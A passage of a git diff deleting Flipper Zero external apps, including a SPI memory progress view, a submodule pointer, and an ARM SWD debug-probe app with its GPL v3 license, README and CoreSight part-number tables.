spi_mem_view_progress_set_total_size(model); - if(total_size == 0) total_size = 1; - model->blocks_written++; - model->progress = - ((float)model->block_size * (float)model->blocks_written) / ((float)total_size); - }, - true); -} - -void spi_mem_view_progress_reset(SPIMemProgressView* app) { - with_view_model( - app->view, - SPIMemProgressViewModel * model, - { - model->blocks_written = 0; - model->block_size = 0; - model->chip_size = 0; - model->file_size = 0; - model->progress = 0; - model->view_type = SPIMemProgressViewTypeUnknown; - }, - true); -} diff --git a/applications/external/spi_mem_manager/views/spi_mem_view_progress.h b/applications/external/spi_mem_manager/views/spi_mem_view_progress.h deleted file mode 100644 index 6a8645b6c..000000000 --- a/applications/external/spi_mem_manager/views/spi_mem_view_progress.h +++ /dev/null @@ -1,26 +0,0 @@ -#pragma once -#include - -typedef struct SPIMemProgressView SPIMemProgressView; -typedef void (*SPIMemProgressViewCallback)(void* context); - -View* spi_mem_view_progress_get_view(SPIMemProgressView* app); -SPIMemProgressView* spi_mem_view_progress_alloc(); -void spi_mem_view_progress_free(SPIMemProgressView* app); -void spi_mem_view_progress_set_read_callback( - SPIMemProgressView* app, - SPIMemProgressViewCallback callback, - void* cb_ctx); -void spi_mem_view_progress_set_verify_callback( - SPIMemProgressView* app, - SPIMemProgressViewCallback callback, - void* cb_ctx); -void spi_mem_view_progress_set_write_callback( - SPIMemProgressView* app, - SPIMemProgressViewCallback callback, - void* cb_ctx); -void spi_mem_view_progress_set_chip_size(SPIMemProgressView* app, size_t chip_size); -void spi_mem_view_progress_set_file_size(SPIMemProgressView* app, size_t file_size); -void spi_mem_view_progress_set_block_size(SPIMemProgressView* app, size_t block_size); -void spi_mem_view_progress_inc_progress(SPIMemProgressView* app); -void spi_mem_view_progress_reset(SPIMemProgressView* app); diff --git a/applications/external/subbrute b/applications/external/subbrute deleted file mode 160000 index 32290f6b5..000000000 --- a/applications/external/subbrute +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 32290f6b5f30f9ca8a0ee95213d1c1ffcca1ae80 diff --git a/applications/external/swd_probe/.gitignore b/applications/external/swd_probe/.gitignore deleted file mode 100644 index c6127b38c..000000000 --- a/applications/external/swd_probe/.gitignore +++ /dev/null @@ -1,52 +0,0 @@ -# Prerequisites -*.d - -# Object files -*.o -*.ko -*.obj -*.elf - -# Linker output -*.ilk -*.map -*.exp - -# Precompiled Headers -*.gch -*.pch - -# Libraries -*.lib -*.a -*.la -*.lo - -# Shared objects (inc. Windows DLLs) -*.dll -*.so -*.so.* -*.dylib - -# Executables -*.exe -*.out -*.app -*.i*86 -*.x86_64 -*.hex - -# Debug files -*.dSYM/ -*.su -*.idb -*.pdb - -# Kernel Module Compile Results -*.mod* -*.cmd -.tmp_versions/ -modules.order -Module.symvers -Mkfile.old -dkms.conf diff --git a/applications/external/swd_probe/LICENSE.txt b/applications/external/swd_probe/LICENSE.txt deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/swd_probe/LICENSE.txt +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/swd_probe/README.md b/applications/external/swd_probe/README.md deleted file mode 100644 index df4dadcd0..000000000 --- a/applications/external/swd_probe/README.md +++ /dev/null @@ -1,17 +0,0 @@ -# ARM SWD (Single Wire Debug) Probe - -Modern microcontrollers have support for the two wire debug interface SWD, which makes wiring a lot simpler. -When reverse engineering, finding these two pins is a los easier than with JTAG, where you had to wire up twice or more pins. However, finding the two pins is still a bit of work, which gets simplified even more with this application. - -This application tries to detect a valid SWD response on the wires you have picked and beeps when you have found the correct pins, showing the detected ID register and, more important, the SWD pinout. It doesn't matter which two pins you choose, just pick any two from the GPIOs on the breakout header. - -To achieve this, the application sends packets and scans the response on all pins and elaborates the pins within a few retries. Using some kind of bisect pattern reduces this number to a hand full of tries, yielding in a seemingly instant detection. - -For the user it is as simple as a continuity tester - wire up your two test needles (or accupuncture needles), connect the obvious GND pin and probe all test pads. -Now it depends on your bisect capabilities finding all pad combinations, how long it will take this time. - -https://cdn.discordapp.com/attachments/954430078882816021/1071603366741938176/20230205_022641.mp4 - -https://cdn.discordapp.com/attachments/1071712925171056690/1072306469057347594/qFlipper_2023-02-07_01-01-24.mp4 - -Discussion thread: https://discord.com/channels/740930220399525928/1071712925171056690 diff --git a/applications/external/swd_probe/adi.c b/applications/external/swd_probe/adi.c deleted file mode 100644 index 95456fcd0..000000000 --- a/applications/external/swd_probe/adi.c +++ /dev/null @@ -1,1016 +0,0 @@ - -#include -#include - -#include "adi.h" -#include "swd_probe_app.h" - -/* https://github.com/openocd-org/openocd/blob/master/src/target/arm_adi_v5.c */ - -/* -static const char* class_description[16] = { - [0x0] = "Generic verification component", - [0x1] = "(ROM Table)", - [0x2] = "Reserved", - [0x3] = "Reserved", - [0x4] = "Reserved", - [0x5] = "Reserved", - [0x6] = "Reserved", - [0x7] = "Reserved", - [0x8] = "Reserved", - [0x9] = "CoreSight component", - [0xA] = "Reserved", - [0xB] = "Peripheral Test Block", - [0xC] = "Reserved", - [0xD] = "OptimoDE DESS", - [0xE] = "Generic IP component", - [0xF] = "CoreLink, PrimeCell or System component", -}; -*/ - -static const struct { - uint32_t arch_id; - const char* description; -} class0x9_devarch[] = { - /* keep same unsorted order as in ARM IHI0029E */ - {ARCH_ID(ARM_ID, 0x0A00), "RAS architecture"}, - {ARCH_ID(ARM_ID, 0x1A01), "Instrumentation Trace Macrocell (ITM) architecture"}, - {ARCH_ID(ARM_ID, 0x1A02), "DWT architecture"}, - {ARCH_ID(ARM_ID, 0x1A03), "Flash Patch and Breakpoint unit (FPB) architecture"}, - {ARCH_ID(ARM_ID, 0x2A04), "Processor debug architecture (ARMv8-M)"}, - {ARCH_ID(ARM_ID, 0x6A05), "Processor debug architecture (ARMv8-R)"}, - {ARCH_ID(ARM_ID, 0x0A10), "PC sample-based profiling"}, - {ARCH_ID(ARM_ID, 0x4A13), "Embedded Trace Macrocell (ETM) architecture"}, - {ARCH_ID(ARM_ID, 0x1A14), "Cross Trigger Interface (CTI) architecture"}, - {ARCH_ID(ARM_ID, 0x6A15), "Processor debug architecture (v8.0-A)"}, - {ARCH_ID(ARM_ID, 0x7A15), "Processor debug architecture (v8.1-A)"}, - {ARCH_ID(ARM_ID, 0x8A15), "Processor debug architecture (v8.2-A)"}, - {ARCH_ID(ARM_ID, 0x2A16), "Processor Performance Monitor (PMU) architecture"}, - {ARCH_ID(ARM_ID, 0x0A17), "Memory Access Port v2 architecture"}, - {ARCH_ID(ARM_ID, 0x0A27), "JTAG Access Port v2 architecture"}, - {ARCH_ID(ARM_ID, 0x0A31), "Basic trace router"}, - {ARCH_ID(ARM_ID, 0x0A37), "Power requestor"}, - {ARCH_ID(ARM_ID, 0x0A47), "Unknown Access Port v2 architecture"}, - {ARCH_ID(ARM_ID, 0x0A50), "HSSTP architecture"}, - {ARCH_ID(ARM_ID, 0x0A63), "System Trace Macrocell (STM) architecture"}, - {ARCH_ID(ARM_ID, 0x0A75), "CoreSight ELA architecture"}, - {ARCH_ID(ARM_ID, 0x0AF7), "CoreSight ROM architecture"}, -}; - -/* Part number interpretations are from Cortex - * core specs, the CoreSight components TRM - * (ARM DDI 0314H), CoreSight System Design - * Guide (ARM DGI 0012D) and ETM specs; also - * from chip observation (e.g. TI SDTI). - */ - -static const struct dap_part_nums { - uint16_t designer_id; - uint16_t part_num; - const char* type; - const char* full; -} dap_part_nums[] = { - { - ARM_ID, - 0x000, - "Cortex-M3 SCS", - "(System Control Space)", - }, - { - ARM_ID, - 0x001, - "Cortex-M3 ITM", - "(Instrumentation Trace Module)", - }, - { - ARM_ID, - 0x002, - "Cortex-M3 DWT", - "(Data Watchpoint and Trace)", - }, - { - ARM_ID, - 0x003, - "Cortex-M3 FPB", - "(Flash Patch and Breakpoint)", - }, - { - ARM_ID, - 0x008, - "Cortex-M0 SCS", - "(System Control Space)", - }, - { - ARM_ID, - 0x00a, - "Cortex-M0 DWT", - "(Data Watchpoint and Trace)", - }, - { - ARM_ID, - 0x00b, - "Cortex-M0 BPU", - "(Breakpoint Unit)", - }, - { - ARM_ID, - 0x00c, - "Cortex-M4 SCS", - "(System Control Space)", - }, - { - ARM_ID, - 0x00d, - "CoreSight ETM11", - "(Embedded Trace)", - }, - { - ARM_ID, - 0x00e, - "Cortex-M7 FPB", - "(Flash Patch and Breakpoint)", - }, - { - ARM_ID, - 0x193, - "SoC-600 TSGEN", - "(Timestamp Generator)", - }, - { - ARM_ID, - 0x470, - "Cortex-M1 ROM", - "(ROM Table)", - }, - { - ARM_ID, - 0x471, - "Cortex-M0 ROM", - "(ROM Table)", - }, - { - ARM_ID, - 0x490, - "Cortex-A15 GIC", - "(Generic Interrupt Controller)", - }, - { - 